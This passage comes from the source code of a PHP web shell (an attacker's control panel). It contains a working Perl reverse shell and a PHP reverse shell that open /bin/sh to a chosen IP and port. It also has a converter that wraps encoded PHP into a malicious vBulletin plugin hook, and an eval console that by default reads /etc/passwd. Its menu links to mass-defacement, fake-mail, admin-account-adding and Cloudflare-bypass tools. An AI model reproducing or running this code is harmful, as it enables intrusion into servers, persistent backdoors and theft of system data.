2987<input type='submit' name='go' value='Convert' /> <input type='reset' value='Clear' name='reset'><br/><br/>
2988</p>
2989</form></center>";
2990if(isset($_POST['go']) && $_POST['go'] == 'Convert' ) {
2991if ( get_magic_quotes_gpc() ){
2992$code=stripslashes($_POST['code']);
2993}
2994else{
2995$code=$_POST['code'];
2996}
2997$code = 'base64_decode('.$code.')';
2998$head = '<?xml version="1.0" encoding="ISO-8859-1"?>
2999
3000<plugins>
3001 <plugin active="1" product="vbulletin">
3002 <title>vBulletin</title>
3003 <hookname>init_startup</hookname>
3004 <phpcode><![CDATA[if (strpos($_SERVER["PHP_SELF"],"subscriptions.php")) {';
3005$foot = 'exit;
3006}]]></phpcode>
3007 </plugin>
3008</plugins>';
3009echo"<br/><center><textarea rows='10' name='users' cols='80' style='border: 2px dashed #1D1D1D; background-color: #000000; color:#C0C0C0'>";
3010echo $head.'base64_decode(\''.base64_encode($code).'\');'.$foot;
3011echo '</textarea></center><br>';
3012}
3013echo '</center></div>';
3014
3015 }
3016 if($action=="bc"){
3017 echo "<style>#bc{background: #A81F1F}</style>";
3018
3019$back_connect_p='#!/usr/bin/perl
3020use Socket;
3021$iaddr=inet_aton($ARGV[0]) || die("Error: $!\n");
3022$paddr=sockaddr_in($ARGV[1], $iaddr) || die("Error: $!\n");
3023$proto=getprotobyname("tcp");
3024socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
3025connect(SOCKET, $paddr) || die("Error: $!\n");
3026open(STDIN, ">&SOCKET");
3027open(STDOUT, ">&SOCKET");
3028open(STDERR, ">&SOCKET");
3029system("/bin/sh -i");
3030close(STDIN);
3031close(STDOUT);
3032close(STDERR);
3033';
3034
3035echo "<center><h3><span>Back Connect</span></h3>";
3036echo "<form method=\"post\" action=\"?action=bc&dir=$path#down\">
3037<input type=\"hidden\" name=\"type\" value=\"perl\">
3038<span>PERL BACK CONNECT<br></span><br><b>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'>
3039Port: <input type='number' name='port' value='443' min='1' max='65535'><input type=submit name=bc value='>>'></form></b>";
3040
3041
3042echo "<br><form method=\"post\" action=\"?action=bc&dir=$path#down\">
3043<input type=\"hidden\" name=\"type\" value=\"php\">
3044<span>PHP BACK CONNECT<br></span><br><b>IP: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'>
3045Port: <input type='number' name='port' value='443' min='1' max='65535'> <input type=submit name=bc value='>>'></form><br>";
3046
3047if(isset($_POST['type'])) {
3048function cf($f,$t) {
3049$w = @fopen($f,"w") or @function_exists('file_put_contents');
3050if($w){
3051@fwrite($w,$t);
3052@fclose($w);
3053}
3054}
3055
3056if($_POST['type'] == 'perl') {
3057cf("/tmp/bc.pl",$back_connect_p);
3058$out = extension("perl /tmp/bc.pl ".$_POST['server']." ".$_POST['port']." 1>/dev/null 2>&1 &");
3059echo "<span style=\"color:green\"><br>Successfully opened reverse shell to ".htmlspecialchars($_POST['server']).":".htmlspecialchars($_POST['port'])."<br>Connecting...[Perl]</span>";
3060@unlink("/tmp/bc.pl");
3061}
3062
3063if($_POST['type']=='php')
3064{
3065@set_time_limit (0);
3066$ip = htmlspecialchars($_POST['server']);
3067$port = htmlspecialchars($_POST['port']);
3068$chunk_size = 1400;
3069$write_a = null;
3070$error_a = null;
3071$shell = 'uname -a; w; id; /bin/sh -i';
3072$daemon = 0;
3073$debug = 0;
3074if (function_exists('pcntl_fork')) {
3075$pid = pcntl_fork();
3076if ($pid == -1) {
3077echo "Cant fork!<br>";
3078exit(1);
3079}
3080if ($pid) {
3081exit(0);
3082}
3083if (posix_setsid() == -1) {
3084echo "<span style=\"color:red\"><br>Error: Can't setsid()</span><br>";
3085exit(1);
3086}
3087$daemon = 1;
3088} else {
3089echo "<span style=\"color:red\"><br>WARNING: Failed to daemonise. This is quite common and not fatal<br></span>";
3090}
3091chdir(htmlspecialchars($GLOBALS['path']));
3092umask(0);
3093$sock = fsockopen($ip, $port, $errno, $errstr, 30);
3094if (!$sock) {
3095echo "$errstr ($errno)";
3096exit(1);
3097}
3098$descriptorspec = array(
30990 => array("pipe", "r"),
31001 => array("pipe", "w"),
31012 => array("pipe", "w")
3102);
3103$process = proc_open($shell, $descriptorspec, $pipes);
3104if (!is_resource($process)) {
3105echo "ERROR: Can't spawn shell<br>";
3106exit(1);
3107}
3108@stream_set_blocking($pipes[0], 0);
3109@stream_set_blocking($pipes[1], 0);
3110@stream_set_blocking($pipes[2], 0);
3111@stream_set_blocking($sock, 0);
3112echo "<span style=\"color:green\"><br>Successfully opened reverse shell to $ip:$port [Php]</span><br>";
3113while (1) {
3114if (feof($sock)) {
3115echo "<span style=\"color:red\"><br>ERROR: Shell connection terminated</span><br>";
3116break;
3117}
3118if (feof($pipes[1])) {
3119echo "<span style=\"color:red\"><br>ERROR: Shell process terminated</span><br>";
3120break;
3121}
3122$read_a = array($sock, $pipes[1], $pipes[2]);
3123$num_changed_sockets=@stream_select($read_a, $write_a, $error_a, null);
3124if (in_array($sock, $read_a)) {
3125if ($debug) echo "SOCK READ<br>";
3126$input=fread($sock, $chunk_size);
3127if ($debug) echo "SOCK: $input<br>";
3128fwrite($pipes[0], $input);
3129}
3130if (in_array($pipes[1], $read_a)) {
3131if ($debug) echo "STDOUT READ<br>";
3132$input = fread($pipes[1], $chunk_size);
3133if ($debug) echo "STDOUT: $input<br>";
3134fwrite($sock, $input);
3135}
3136if (in_array($pipes[2], $read_a)) {
3137if ($debug) echo "STDERR READ<br>";
3138$input = fread($pipes[2], $chunk_size);
3139if ($debug) echo "STDERR: $input<br>";
3140fwrite($sock, $input);
3141}
3142}
3143fclose($sock);
3144fclose($pipes[0]);
3145fclose($pipes[1]);
3146fclose($pipes[2]);
3147proc_close($process);
3148echo "</pre>";
3149}
3150}
3151
3152 }
3153
3154 if($action=="othertools"){
3155 echo "<style>#othertools{background: #A81F1F}</style>";
3156 ?>
3157 <table>
3158 <tr>
3159 <td><a href="?action=zoneh&dir=<?php echo $path;?>" title="ZONE-H MASS DEFACE POSTER"><input type="button" value="ZONE-H" onclick=""></a><td>
3160 <td><a href="?action=mass&dir=<?php echo $path;?>"><input type="button" value="MASS DEFACER" onclick=""></a><td>
3161 <td><a href="?action=zipper&dir=<?php echo $path;?>"><input type="button" value="ZIPPER" onclick=""></a><td>
3162 <td><a href="?action=fakemail&dir=<?php echo $path;?>"><input type="button" value="FAKE MAIL" onclick=""></a><td>
3163 <td><a href="?action=php2xml&dir=<?php echo $path;?>"><input type="button" value="PHP TO XML" onclick=""></a><td>
3164 <td><a href="?action=disfunc&dir=<?php echo $path;?>"><input type="button" value="BYPASSER" onclick=""></a><td>
3165 <td><a href="?action=pwchanger&dir=<?php echo $path;?>"><input type="button" value="ADD NEW ADMIN" onclick=""></a><td>
3166 <td><a href="?action=cloudflare&dir=<?php echo $path;?>"><input type="button" value="CLOUD FLARE BYPASSER" onclick=""></a><td>
3167 <td><a href="?action=info&dir=<?php echo $path;?>"><input type="button" value="PHP INFO" onclick=""></a><td>
3168 </tr>
3169
3170 <?php
3171 }
3172
3173 if($action=="eval"){
3174 echo "<style>#eval{background: #A81F1F}</style>";
3175 ?><center>
3176 <span style="font-size:20px;"><b>PHP Eval</b></span>
3177 <a name="down"></a><form action="?action=eval&dir=<?php echo $path;?>#down" method="post">
3178<table><tr><td>
3179
3180<textarea name="eval" style="width:1000px;height:300px;border: 2px solid #CE3F3F;">
3181<?php
3182if(isset($_POST['submiteval'])) {
3183 echo eval(magicboom($_POST['eval']));}
3184 else{
3185 echo "echo file_get_contents('/etc/passwd');";
3186}
3187?>
3188</textarea>
3189</td></tr>
3190<tr><td>
3191<input type="submit" value="Run !" name="submiteval" />
3192</td></tr>
3193
3194</table></form>
3195</center>
3196
3197 <?php
3198 }
3199 if($action=="logout"){
3200 ?>
3201 <form action="?action=logout" method="post">
3202 <span>Sayonara senpai !! watashi sukidayo.!!</span>
3203 <input type="submit" value="Yes" name="accept" style="cursor: pointer"/>
3204 <input type="button" value="No" onclick="window.location.href='?action=explorer'" style="cursor: pointer">
3205 </form>
3206
3207 <?php
3208if(isset($_POST['accept']) && $_POST['accept'] != "" && $_POST['accept']=="Yes"){
3209unset($_SESSION[$_SERVER['HTTP_HOST']]);
3210header("location: ?action=explorer");
3211 }
3212 }
3213}
3214//Coded By FirmanCyb#erLoly_
3215?>
3216 <div class="clear">
3217 </div>
3218 </div>
3219
3220 </div>
3221 </body>
3222</html>